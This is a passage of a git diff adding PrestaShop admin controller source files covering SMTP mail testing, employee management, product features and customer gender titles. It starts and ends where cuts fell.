'1') + { + $smtpChecked = (trim(Tools::getValue('mailMethod')) == 'smtp'); + $smtpServer = Tools::getValue('smtpSrv'); + $content = urldecode(Tools::getValue('testMsg')); + $content = html_entity_decode($content); + $subject = urldecode(Tools::getValue('testSubject')); + $type = 'text/html'; + $to = Tools::getValue('testEmail'); + $from = Configuration::get('PS_SHOP_EMAIL'); + $smtpLogin = Tools::getValue('smtpLogin'); + $smtpPassword = Tools::getValue('smtpPassword'); + $smtpPassword = (!empty($smtpPassword)) ? urldecode($smtpPassword) : Configuration::get('PS_MAIL_PASSWD'); + $smtpPassword = str_replace( + array('<', '>', '"', '&'), + array('<', '>', '"', '&'), + Tools::htmlentitiesUTF8($smtpPassword) + ); + + $smtpPort = Tools::getValue('smtpPort'); + $smtpEncryption = Tools::getValue('smtpEnc'); + + $result = Mail::sendMailTest(Tools::htmlentitiesUTF8($smtpChecked), Tools::htmlentitiesUTF8($smtpServer), Tools::htmlentitiesUTF8($content), Tools::htmlentitiesUTF8($subject), Tools::htmlentitiesUTF8($type), Tools::htmlentitiesUTF8($to), Tools::htmlentitiesUTF8($from), Tools::htmlentitiesUTF8($smtpLogin), $smtpPassword, Tools::htmlentitiesUTF8($smtpPort), Tools::htmlentitiesUTF8($smtpEncryption)); + die($result === true ? 'ok' : $result); + } + } +} diff --git a/controllers/admin/AdminEmployeesController.php b/controllers/admin/AdminEmployeesController.php new file mode 100755 index 0000000..ebdef6a --- /dev/null +++ b/controllers/admin/AdminEmployeesController.php @@ -0,0 +1,485 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminEmployeesControllerCore extends AdminController +{ + /** @var array profiles list */ + protected $profiles_array = array(); + + /** @var array themes list*/ + protected $themes = array(); + + /** @var array tabs list*/ + protected $tabs_list = array(); + + protected $restrict_edition = false; + + public function __construct() + { + $this->table = 'employee'; + $this->className = 'Employee'; + $this->lang = false; + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->context = Context::getContext(); + + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + /* + check if there are more than one superAdmin + if it's the case then we can delete a superAdmin + */ + $super_admin = Employee::countProfile(_PS_ADMIN_PROFILE_, true); + if ($super_admin == 1) + { + $super_admin_array = Employee::getEmployeesByProfile(_PS_ADMIN_PROFILE_, true); + $super_admin_id = array(); + foreach ($super_admin_array as $key => $val) + $super_admin_id[] = $val['id_employee']; + $this->addRowActionSkipList('delete', $super_admin_id); + } + + $profiles = Profile::getProfiles($this->context->language->id); + if (!$profiles) + $this->errors[] = Tools::displayError('No profile.'); + else + foreach ($profiles as $profile) + $this->profiles_array[$profile['name']] = $profile['name']; + + $this->fields_list = array( + 'id_employee' => array('title' => $this->l('ID'), 'align' => 'center', 'width' => 25), + 'lastname' => array('title' => $this->l('Last Name'), 'width' => 'auto'), + 'firstname' => array('title' => $this->l('First Name'), 'width' => 130), + 'email' => array('title' => $this->l('Email address'), 'width' => 180), + 'profile' => array('title' => $this->l('Profile'), 'width' => 90, 'type' => 'select', 'list' => $this->profiles_array, 'filter_key' => 'pl!name'), + 'active' => array('title' => $this->l('Can log in'), 'align' => 'center', 'active' => 'status', 'type' => 'bool', 'width' => 30), + ); + + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('Employee options'), + 'fields' => array( + 'PS_PASSWD_TIME_BACK' => array( + 'title' => $this->l('Password regeneration'), + 'desc' => $this->l('Security: Minimum time to wait between two password changes.'), + 'cast' => 'intval', + 'size' => 5, + 'type' => 'text', + 'suffix' => ' '.$this->l('minutes'), + 'visibility' => Shop::CONTEXT_ALL + ), + 'PS_BO_ALLOW_EMPLOYEE_FORM_LANG' => array( + 'title' => $this->l('Memorize the language used in Admin panel forms'), + 'desc' => $this->l('Allow employees to select a specific language for the Admin panel form.'), + 'cast' => 'intval', + 'type' => 'select', + 'identifier' => 'value', + 'list' => array( + '0' => array('value' => 0, 'name' => $this->l('No')), + '1' => array('value' => 1, 'name' => $this->l('Yes') + ) + ), 'visibility' => Shop::CONTEXT_ALL) + ), + 'submit' => array() + ) + ); + + $path = _PS_ADMIN_DIR_.'/themes/'; + foreach (scandir($path) as $theme) + if ($theme[0] != '.' && is_dir($path.$theme) && file_exists($path.$theme.'/css/admin.css')) + $this->themes[] = $theme; + + $home_tab = Tab::getInstanceFromClassName('adminHome'); + $this->tabs_list[$home_tab->id] = array( + 'name' => $home_tab->name[$this->context->language->id], + 'id_tab' => $home_tab->id, + 'children' => array(array('id_tab' =>$home_tab->id, 'name' => $home_tab->name[$this->context->language->id]))); + foreach (Tab::getTabs($this->context->language->id, 0) as $tab) + { + if (Tab::checkTabRights($tab['id_tab'])) + { + $this->tabs_list[$tab['id_tab']] = $tab; + foreach (Tab::getTabs($this->context->language->id, $tab['id_tab']) as $children) + if (Tab::checkTabRights($children['id_tab'])) + $this->tabs_list[$tab['id_tab']]['children'][] = $children; + } + } + parent::__construct(); + + // An employee can edit its own profile + if ($this->context->employee->id == Tools::getValue('id_employee')) + { + $this->tabAccess['view'] = '1'; + if (!$this->tabAccess['edit']) + $this->restrict_edition = true; + $this->tabAccess['edit'] = '1'; + } + } + + public function renderList() + { + $this->_select = 'pl.`name` AS profile'; + $this->_join = 'LEFT JOIN `'._DB_PREFIX_.'profile` p ON a.`id_profile` = p.`id_profile` + LEFT JOIN `'._DB_PREFIX_.'profile_lang` pl ON (pl.`id_profile` = p.`id_profile` AND pl.`id_lang` = '.(int)$this->context->language->id.')'; + + return parent::renderList(); + } + + public function renderForm() + { + if (!($obj = $this->loadObject(true))) + return; + + $available_profiles = Profile::getProfiles($this->context->language->id); + + if ($obj->id_profile == _PS_ADMIN_PROFILE_ && $this->context->employee->id_profile != _PS_ADMIN_PROFILE_) + { + $this->errors[] = Tools::displayError('You cannot edit the SuperAdmin profile.'); + return parent::renderForm(); + } + + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Employees'), + 'image' => '../img/admin/nav-user.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('First Name:'), + 'name' => 'firstname', + 'size' => 33, + 'required' => true + ), + array( + 'type' => 'text', + 'label' => $this->l('Last Name:'), + 'name' => 'lastname', + 'size' => 33, + 'required' => true + ), + array( + 'type' => 'password', + 'label' => $this->l('Password:'), + 'name' => 'passwd', + 'required' => true, + 'size' => 33, + 'desc' => ($obj->id ? + $this->l('Leave this field blank if you do not want to change your password.') : + $this->l('Minimum of eight characters (use only letters and numbers)').' -_') + ), + array( + 'type' => 'text', + 'label' => $this->l('Email address:'), + 'name' => 'email', + 'size' => 33, + 'required' => true + ), + array( + 'type' => 'color', + 'label' => $this->l('Admin panel color:'), + 'name' => 'bo_color', + 'class' => 'color mColorPickerInput', + 'size' => 20, + 'desc' => $this->l('Admin panel background will be displayed in this color (HTML colors only).').' "lightblue", "#CC6600")' + ), + array( + 'type' => 'default_tab', + 'label' => $this->l('Default page:'), + 'name' => 'default_tab', + 'desc' => $this->l('This page will be displayed just after login'), + 'options' => $this->tabs_list + ), + array( + 'type' => 'text', + 'label' => $this->l('Back Office width'), + 'name' => 'bo_width', + 'size' => 10, + 'desc' => $this->l('Back Office width, in pixels. The value "0" means that the Back Office width will be flexible.') + ), + array( + 'type' => 'select', + 'label' => $this->l('Language:'), + 'name' => 'id_lang', + 'required' => true, + 'options' => array( + 'query' => Language::getLanguages(false), + 'id' => 'id_lang', + 'name' => 'name' + ) + ), + array( + 'type' => 'select_theme', + 'label' => $this->l('Theme:'), + 'name' => 'bo_theme', + 'options' => array('query' => $this->themes), + 'desc' => $this->l('Back Office theme') + ), + array( + 'type' => 'radio', + 'label' => $this->l('Show screencast at login:'), + 'name' => 'bo_show_screencast', + 'desc' => $this->l('Display the welcome video in the Admin panel dashboard at log in.'), + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'bo_show_screencast_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'bo_show_screencast_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ) + ) + ) + ); + + if ((int)$this->tabAccess['edit'] && !$this->restrict_edition) + { + $this->fields_form['input'][] = array( + 'type' => 'radio', + 'label' => $this->l('Status:'), + 'name' => 'active', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + 'desc' => $this->l('Allow or disallow this employee to log into the Admin panel.') + ); + + // if employee is not SuperAdmin (id_profile = 1), don't make it possible to select the admin profile + if ($this->context->employee->id_profile != _PS_ADMIN_PROFILE_) + foreach ($available_profiles as $i => $profile) + if ($available_profiles[$i]['id_profile'] == _PS_ADMIN_PROFILE_) + { + unset($available_profiles[$i]); + break; + } + $this->fields_form['input'][] = array( + 'type' => 'select', + 'label' => $this->l('Profile:'), + 'name' => 'id_profile', + 'required' => true, + 'options' => array( + 'query' => $available_profiles, + 'id' => 'id_profile', + 'name' => 'name', + 'default' => array( + 'value' => '', + 'label' => $this->l('-- Choose --') + ) + ) + ); + + if (Shop::isFeatureActive()) + { + $this->context->smarty->assign('_PS_ADMIN_PROFILE_', (int)_PS_ADMIN_PROFILE_); + $this->fields_form['input'][] = array( + 'type' => 'shop', + 'label' => $this->l('Shop association:'), + 'desc' => $this->l('Select the shops the employee is allowed to access'), + 'name' => 'checkBoxShopAsso', + ); + } + } + + $this->fields_form['submit'] = array( + 'title' => $this->l('Save '), + 'class' => 'button' + ); + + $this->fields_value['passwd'] = false; + + if (empty($obj->id)) + $this->fields_value['id_lang'] = $this->context->language->id; + + return parent::renderForm(); + } + + protected function _childValidation() + { + if (!($obj = $this->loadObject(true))) + return false; + $email = $this->getFieldValue($obj, 'email'); + if (!Validate::isEmail($email)) + $this->errors[] = Tools::displayError('Invalid email address.'); + elseif (Employee::employeeExists($email) && (!Tools::getValue('id_employee') || ($employee = new Employee((int)Tools::getValue('id_employee'))) && $employee->email != $email)) + $this->errors[] = Tools::displayError('An account already exists for this email address:').' '.$email; + } + + public function postProcess() + { + if (Tools::isSubmit('deleteemployee') || Tools::isSubmit('status') || Tools::isSubmit('statusemployee')) + { + /* PrestaShop demo mode */ + if (_PS_MODE_DEMO_ && $id_employee = Tools::getValue('id_employee') && (int)$id_employee == _PS_DEMO_MAIN_BO_ACCOUNT_) + { + $this->errors[] = Tools::displayError('This functionality has been disabled.'); + return; + } + + if ($this->context->employee->id == Tools::getValue('id_employee')) + { + $this->errors[] = Tools::displayError('You cannot disable or delete your own account.'); + return false; + } + + $employee = new Employee(Tools::getValue('id_employee')); + if ($employee->isLastAdmin()) + { + $this->errors[] = Tools::displayError('You cannot disable or delete the administrator account.'); + return false; + } + + // It is not possible to delete an employee if he manages warehouses + $warehouses = Warehouse::getWarehousesByEmployee((int)Tools::getValue('id_employee')); + if (Tools::isSubmit('deleteemployee') && count($warehouses) > 0) + { + $this->errors[] = Tools::displayError('You cannot delete this account because it manages warehouses. Check your warehouses first.'); + return false; + } + } + elseif (Tools::isSubmit('submitAddemployee')) + { + $employee = new Employee((int)Tools::getValue('id_employee')); + + // If the employee is editing its own account + if ($this->restrict_edition) + { + $_POST['id_profile'] = $_GET['id_profile'] = $employee->id_profile; + $_POST['active'] = $_GET['active'] = $employee->active; + + // Unset set shops + foreach ($_POST as $postkey => $postvalue) + if (strstr($postkey, 'checkBoxShopAsso_'.$this->table) !== false) + unset($_POST[$postkey]); + foreach ($_GET as $postkey => $postvalue) + if (strstr($postkey, 'checkBoxShopAsso_'.$this->table) !== false) + unset($_GET[$postkey]); + + // Add current shops associated to the employee + $result = Shop::getShopById((int)$employee->id, $this->identifier, $this->table); + foreach ($result as $row) + { + $key = 'checkBoxShopAsso_'.$this->table; + if (!isset($_POST[$key])) + $_POST[$key] = array(); + if (!isset($_GET[$key])) + $_GET[$key] = array(); + $_POST[$key][$row['id_shop']] = 1; + $_GET[$key][$row['id_shop']] = 1; + } + } + //if profile is super admin, manually fill checkBoxShopAsso_employee because in the form they are disabled. + if ($_POST['id_profile'] == _PS_ADMIN_PROFILE_) + { + $result = Db::getInstance()->executeS('SELECT id_shop FROM '._DB_PREFIX_.'shop'); + foreach ($result as $row) + { + $key = 'checkBoxShopAsso_'.$this->table; + if (!isset($_POST[$key])) + $_POST[$key] = array(); + if (!isset($_GET[$key])) + $_GET[$key] = array(); + $_POST[$key][$row['id_shop']] = 1; + $_GET[$key][$row['id_shop']] = 1; + } + } + + if ($employee->isLastAdmin()) + { + if (Tools::getValue('id_profile') != (int)_PS_ADMIN_PROFILE_) + { + $this->errors[] = Tools::displayError('You should have at least one employee in the administrator group.'); + return false; + } + + if (Tools::getvalue('active') == 0) + { + $this->errors[] = Tools::displayError('You cannot disable or delete the administrator account.'); + return false; + } + } + + if (!in_array(Tools::getValue('bo_theme'), $this->themes)) + { + $this->errors[] = Tools::displayError('Invalid theme'); + return false; + } + + $assos = $this->getSelectedAssoShop($this->table); + if (!$assos && $this->table = 'employee') + if (Shop::isFeatureActive() && _PS_ADMIN_PROFILE_ != $_POST['id_profile']) + $this->errors[] = Tools::displayError('The employee must be associated with at least one shop.'); + } + return parent::postProcess(); + } + + public function initContent() + { + if ($this->context->employee->id == Tools::getValue('id_employee')) + $this->display = 'edit'; + + return parent::initContent(); + } + + public function ajaxProcessGetTabByIdProfile() + { + $id_profile = Tools::getValue('id_profile'); + $tabs = Tab::getTabByIdProfile(0, $id_profile); + $this->tabs_list = array(); + foreach ($tabs as $tab) + { + if (Tab::checkTabRights($tab['id_tab'])) + { + $this->tabs_list[$tab['id_tab']] = $tab; + foreach (Tab::getTabByIdProfile($tab['id_tab'], $id_profile) as $children) + if (Tab::checkTabRights($children['id_tab'])) + $this->tabs_list[$tab['id_tab']]['children'][] = $children; + } + } + die(Tools::jsonEncode($this->tabs_list)); + } +} + + diff --git a/controllers/admin/AdminFeaturesController.php b/controllers/admin/AdminFeaturesController.php new file mode 100755 index 0000000..8045e2c --- /dev/null +++ b/controllers/admin/AdminFeaturesController.php @@ -0,0 +1,516 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +class AdminFeaturesControllerCore extends AdminController +{ + protected $position_identifier = 'id_feature'; + + public function __construct() + { + $this->table = 'feature'; + $this->className = 'Feature'; + $this->lang = true; + + $this->fields_list = array( + 'id_feature' => array( + 'title' => $this->l('ID'), + 'width' => 25 + ), + 'name' => array( + 'title' => $this->l('Name'), + 'width' => 'auto', + 'filter_key' => 'b!name' + ), + 'value' => array( + 'title' => $this->l('Values'), + 'width' => 255, + 'orderby' => false, + 'search' => false + ), + 'position' => array( + 'title' => $this->l('Position'), + 'width' => 40, + 'filter_key' => 'a!position', + 'align' => 'center', + 'position' => 'position' + ) + ); + + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + parent::__construct(); + } + + /** + * AdminController::renderList() override + * @see AdminController::renderList() + */ + public function renderList() + { + $this->addRowAction('edit'); + $this->addRowAction('delete'); + $this->addRowAction('details'); + $this->_defaultOrderBy = 'position'; + + // Added specific button in toolbar + $this->toolbar_btn['newAttributes'] = array( + 'href' => self::$currentIndex.'&addfeature_value&token='.$this->token, + 'desc' => $this->l('Add new feature values') + ); + + $this->toolbar_btn['new'] = array( + 'href' => self::$currentIndex.'&addfeature&token='.$this->token, + 'desc' => $this->l('Add a new feature') + ); + + return parent::renderList(); + } + + /** + * Change object type to feature value (use when processing a feature value) + */ + protected function setTypeValue() + { + $this->table = 'feature_value'; + $this->className = 'FeatureValue'; + $this->identifier = 'id_feature_value'; + } + + /** + * Change object type to feature (use when processing a feature) + */ + protected function setTypeFeature() + { + $this->table = 'feature'; + $this->className = 'Feature'; + $this->identifier = 'id_feature'; + } + + /** + * method call when ajax request is made with the details row action + * @see AdminController::postProcess() + */ + public function ajaxProcessDetails() + { + if (($id = Tools::getValue('id'))) + { + $this->setTypeValue(); + $this->lang = true; + + // override attributes + $this->display = 'list'; + + // Action for list + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + if (!Validate::isLoadedObject($obj = new Feature((int)$id))) + $this->errors[] = Tools::displayError('An error occurred while updating the status for an object.').' <b>'.$this->table.'</b> '.Tools::displayError('(cannot load object)'); + + $this->fields_list = array( + 'id_feature_value' => array( + 'title' => $this->l('ID'), + 'width' => 25 + ), + 'value' => array( + 'title' => $this->l('Value') + ) + ); + + $this->_where = sprintf('AND `id_feature` = %d', (int)$id); + + // get list and force no limit clause in the request + $this->getList($this->context->language->id); + + // Render list + $helper = new HelperList(); + $helper->actions = $this->actions; + $helper->no_link = true; + $helper->shopLinkType = ''; + $helper->identifier = $this->identifier; + $helper->toolbar_scroll = false; + $helper->orderBy = 'position'; + $helper->orderWay = 'ASC'; + $helper->currentIndex = self::$currentIndex; + $helper->token = $this->token; + $helper->table = $this->table; + $helper->simple_header = true; + $helper->show_toolbar = false; + $helper->bulk_actions = $this->bulk_actions; + $content = $helper->generateList($this->_list, $this->fields_list); + + echo Tools::jsonEncode(array('use_parent_structure' => false, 'data' => $content)); + exit; + } + } + + /** + * AdminController::renderForm() override + * @see AdminController::renderForm() + */ + public function renderForm() + { + $this->toolbar_title = $this->l('Add a new feature'); + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Feature'), + 'image' => '../img/t/AdminFeatures.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'lang' => true, + 'size' => 33, + 'hint' => $this->l('Invalid characters:').' <>;=#{}', + 'required' => true + ) + ) + ); + + if (Shop::isFeatureActive()) + { + $this->fields_form['input'][] = array( + 'type' => 'shop', + 'label' => $this->l('Shop association:'), + 'name' => 'checkBoxShopAsso', + ); + } + + $this->fields_form['submit'] = array( + 'title' => $this->l(' Save '), + 'class' => 'button' + ); + + return parent::renderForm(); + } + + /** + * AdminController::initToolbar() override + * @see AdminController::initToolbar() + */ + public function initToolbar() + { + switch ($this->display) + { + case 'editFeatureValue': + case 'add': + case 'edit': + $this->toolbar_btn['save'] = array( + 'href' => '#', + 'desc' => $this->l('Save') + ); + + if ($this->display == 'editFeatureValue') + $this->toolbar_btn['save-and-stay'] = array( + 'short' => 'SaveAndStay', + 'href' => '#', + 'desc' => $this->l('Save and add another value'), + 'force_desc' => true, + ); + + // Default cancel button - like old back link + $back = Tools::safeOutput(Tools::getValue('back', '')); + if (empty($back)) + $back = self::$currentIndex.'&token='.$this->token; + + $this->toolbar_btn['back'] = array( + 'href' => $back, + 'desc' => $this->l('Back to the list') + ); + break; + + default: + parent::initToolbar(); + } + } + + /** + * AdminController::renderForm() override + * @see AdminController::renderForm() + */ + public function initFormFeatureValue() + { + $this->setTypeValue(); + + $this->fields_form[0]['form'] = array( + 'legend' => array( + 'title' => $this->l('Feature value'), + 'image' => '../img/t/AdminFeatures.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Value:'), + 'name' => 'value', + 'lang' => true, + 'size' => 33, + 'hint' => $this->l('Invalid characters:').' <>;=#{}', + 'required' => true + ), + array( + 'type' => 'select', + 'label' => $this->l('Feature:'), + 'name' => 'id_feature', + 'options' => array( + 'query' => Feature::getFeatures($this->context->language->id), + 'id' => 'id_feature', + 'name' => 'name' + ), + 'required' => true + ) + ), + 'submit' => array( + 'title' => $this->l(' Save '), + 'class' => 'button' + ) + ); + + // Create Object FeatureValue + $feature_value = new FeatureValue(Tools::getValue('id_feature_value')); + + $this->tpl_vars = array( + 'feature_value' => $feature_value, + ); + + $this->getlanguages(); + $helper = new HelperForm(); + $helper->currentIndex = self::$currentIndex; + $helper->token = $this->token; + $helper->table = $this->table; + $helper->identifier = $this->identifier; + $helper->override_folder = 'feature_value/'; + $helper->id = $feature_value->id; + $helper->toolbar_scroll = false; + $helper->tpl_vars = $this->tpl_vars; + $helper->languages = $this->_languages; + $helper->default_form_language = $this->default_form_language; + $helper->allow_employee_form_lang = $this->allow_employee_form_lang; + $helper->fields_value = $this->getFieldsValue($feature_value); + $helper->toolbar_btn = $this->toolbar_btn; + $helper->title = $this->l('Add a new feature value'); + $this->content .= $helper->generateForm($this->fields_form); + } + + /** + * AdminController::initContent() override + * @see AdminController::initContent() + */ + public function initContent() + { + if (Feature::isFeatureActive()) + { + // toolbar (save, cancel, new, ..) + $this->initToolbar(); + if ($this->display == 'edit' || $this->display == 'add') + { + if (!$this->loadObject(true)) + return; + $this->content .= $this->renderForm(); + } + else if ($this->display == 'view') + { + // Some controllers use the view action without an object + if ($this->className) + $this->loadObject(true); + $this->content .= $this->renderView(); + } + else if ($this->display == 'editFeatureValue') + { + if (!$this->object = new FeatureValue((int)Tools::getValue('id_feature_value'))) + return; + + $this->content .= $this->initFormFeatureValue(); + } + else if (!$this->ajax) + { + // If a feature value was saved, we need to reset the values to display the list + $this->setTypeFeature(); + $this->content .= $this->renderList(); + } + } + else + $this->displayWarning($this->l('This feature has been disabled. You can activate it at:').'<a href="index.php?tab=AdminPerformance&token='.Tools::getAdminTokenLite('AdminPerformance').'#featuresDetachables">'.$this->l('Performance').'</a>'); + + $this->context->smarty->assign(array( + 'content' => $this->content, + 'url_post' => self::$currentIndex.'&token='.$this->token, + )); + } + + public function initProcess() + { + // Are we working on feature values? + if (Tools::getValue('id_feature_value') + || Tools::isSubmit('deletefeature_value') + || Tools::isSubmit('submitAddfeature_value') + || Tools::isSubmit('addfeature_value') + || Tools::isSubmit('updatefeature_value') + || Tools::isSubmit('submitBulkdeletefeature_value')) + $this->setTypeValue(); + + parent::initProcess(); + + } + + public function postProcess() + { + if (!Feature::isFeatureActive()) + return; + + if ($this->table == 'feature_value' && ($this->action == 'save' || $this->action == 'delete' || $this->action == 'bulkDelete')) + Hook::exec('displayFeatureValuePostProcess', + array('errors' => &$this->errors)); // send errors as reference to allow displayFeatureValuePostProcess to stop saving process + else + Hook::exec('displayFeaturePostProcess', + array('errors' => &$this->errors)); // send errors as reference to allow displayFeaturePostProcess to stop saving process + + parent::postProcess(); + + if ($this->table == 'feature_value' && ($this->display == 'edit' || $this->display == 'add')) + $this->display = 'editFeatureValue'; + } + + /** + * Override processAdd to change SaveAndStay button action + * @see classes/AdminControllerCore::processAdd() + */ + public function processAdd() + { + $object = parent::processAdd(); + + if (Tools::isSubmit('submitAdd'.$this->table.'AndStay') && !count($this->errors)) + $this->redirect_after = self::$currentIndex.'&'.$this->identifier.'=&conf=3&update'.$this->table.'&token='.$this->token; + elseif (Tools::isSubmit('submitAdd'.$this->table.'AndStay') && count($this->errors)) + $this->display = 'editFeatureValue'; + + return $object; + } + + /** + * Override processUpdate to change SaveAndStay button action + * @see classes/AdminControllerCore::processUpdate() + */ + public function processUpdate() + { + $object = parent::processUpdate(); + + if (Tools::isSubmit('submitAdd'.$this->table.'AndStay') && !count($this->errors)) + $this->redirect_after = self::$currentIndex.'&'.$this->identifier.'=&conf=3&update'.$this->table.'&token='.$this->token; + + return $object; + } + + /** + * Call the right method for creating or updating object + * + * @return mixed + */ + public function processSave() + { + if ($this->table == 'feature') + { + $id_feature = (int)Tools::getValue('id_feature'); + // Adding last position to the feature if not exist + if ($id_feature <= 0) + { + $sql = 'SELECT `position`+1 + FROM `'._DB_PREFIX_.'feature` + ORDER BY position DESC'; + // set the position of the new feature in $_POST for postProcess() method + $_POST['position'] = DB::getInstance()->getValue($sql); + } + // clean \n\r characters + foreach ($_POST as $key => $value) + if (preg_match('/^name_/Ui', $key)) + $_POST[$key] = str_replace ('\n', '', str_replace('\r', '', $value)); + } + return parent::processSave(); + } + + /** + * AdminController::getList() override + * @see AdminController::getList() + */ + public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false) + { + if ($this->table == 'feature_value') + $this->_where .= ' AND a.custom = 0'; + + parent::getList($id_lang, $order_by, $order_way, $start, $limit, $id_lang_shop); + + if ($this->table == 'feature') + { + $nb_items = count($this->_list); + for ($i = 0; $i < $nb_items; ++$i) + { + $item = &$this->_list[$i]; + + $query = new DbQuery(); + $query->select('COUNT(fv.id_feature_value) as count_values'); + $query->from('feature_value', 'fv'); + $query->where('fv.id_feature ='.(int)$item['id_feature']); + $query->where('fv.custom =0'); + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + $item['value'] = (int)$res; + unset($query); + } + } + } + + public function ajaxProcessUpdatePositions() + { + if ($this->tabAccess['edit'] === '1') + { + $way = (int)Tools::getValue('way'); + $id_feature = (int)Tools::getValue('id'); + $positions = Tools::getValue('feature'); + + $new_positions = array(); + foreach ($positions as $k => $v) + if (!empty($v)) + $new_positions[] = $v; + + foreach ($new_positions as $position => $value) + { + $pos = explode('_', $value); + + if (isset($pos[2]) && (int)$pos[2] === $id_feature) + { + if ($feature = new Feature((int)$pos[2])) + if (isset($position) && $feature->updatePosition($way, $position, $id_feature)) + echo 'ok position '.(int)$position.' for feature '.(int)$pos[1].'\r\n'; + else + echo '{"hasError" : true, "errors" : "Can not update feature '.(int)$id_feature.' to position '.(int)$position.' "}'; + else + echo '{"hasError" : true, "errors" : "This feature ('.(int)$id_feature.') can t be loaded"}'; + + break; + } + } + } + } +} diff --git a/controllers/admin/AdminGendersController.php b/controllers/admin/AdminGendersController.php new file mode 100755 index 0000000..ef4cf14 --- /dev/null +++ b/controllers/admin/AdminGendersController.php @@ -0,0 +1,200 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminGendersControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'gender'; + $this->className = 'Gender'; + $this->lang = true; + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->context = Context::getContext(); + + if (!Tools::getValue('realedit')) + $this->deleted = false; + + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + $this->default_image_height = 16; + $this->default_image_width = 16; + + $this->fieldImageSettings = array( + 'name' => 'image', + 'dir' => 'genders' + ); + + $this->fields_list = array( + 'id_gender' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 25 + ), + 'name' => array( + 'title' => $this->l('Name'), + 'width' => 'auto', + 'filter_key' => 'b!name' + ), + 'type' => array( + 'title' => $this->l('Type'), + 'width' => 100, + 'orderby' => false, + 'type' => 'select', + 'list' => array( + 0 => $this->l('Male'), + 1 => $this->l('Female'), + 2 => $this->l('Neutral') + ), + 'filter_key' => 'a!type', + 'callback' => 'displayGenderType', + 'callback_object' => $this, + ), + 'image' => array( + 'title' => $this->l('Image'), + 'align' => 'center', + 'image' => 'genders', + 'orderby' => false, + 'search' => false, + 'width' => 40 + ) + ); + + parent::__construct(); + } + + public function renderForm() + { + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Titles'), + 'image' => '../img/admin/tab-genders.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'lang' => true, + 'size' => 33, + 'hint' => $this->l('Invalid characters:').' 0-9!<>,;?=+()@#"�{}_$%:', + 'required' => true + ), + array( + 'type' => 'radio', + 'label' => $this->l('Type:'), + 'name' => 'type', + 'required' => false, + 'class' => 't', + 'values' => array( + array( + 'id' => 'type_male', + 'value' => 0, + 'label' => $this->l('Male') + ), + array( + 'id' => 'type_female', + 'value' => 1, + 'label' => $this->l('Female') + ), + array( + 'id' => 'type_neutral', + 'value' => 2, + 'label' => $this->l('Neutral') + ) + ) + ), + array( + 'type' => 'file', + 'label' => $this->l('Image:'), + 'name' => 'image', + 'value' => 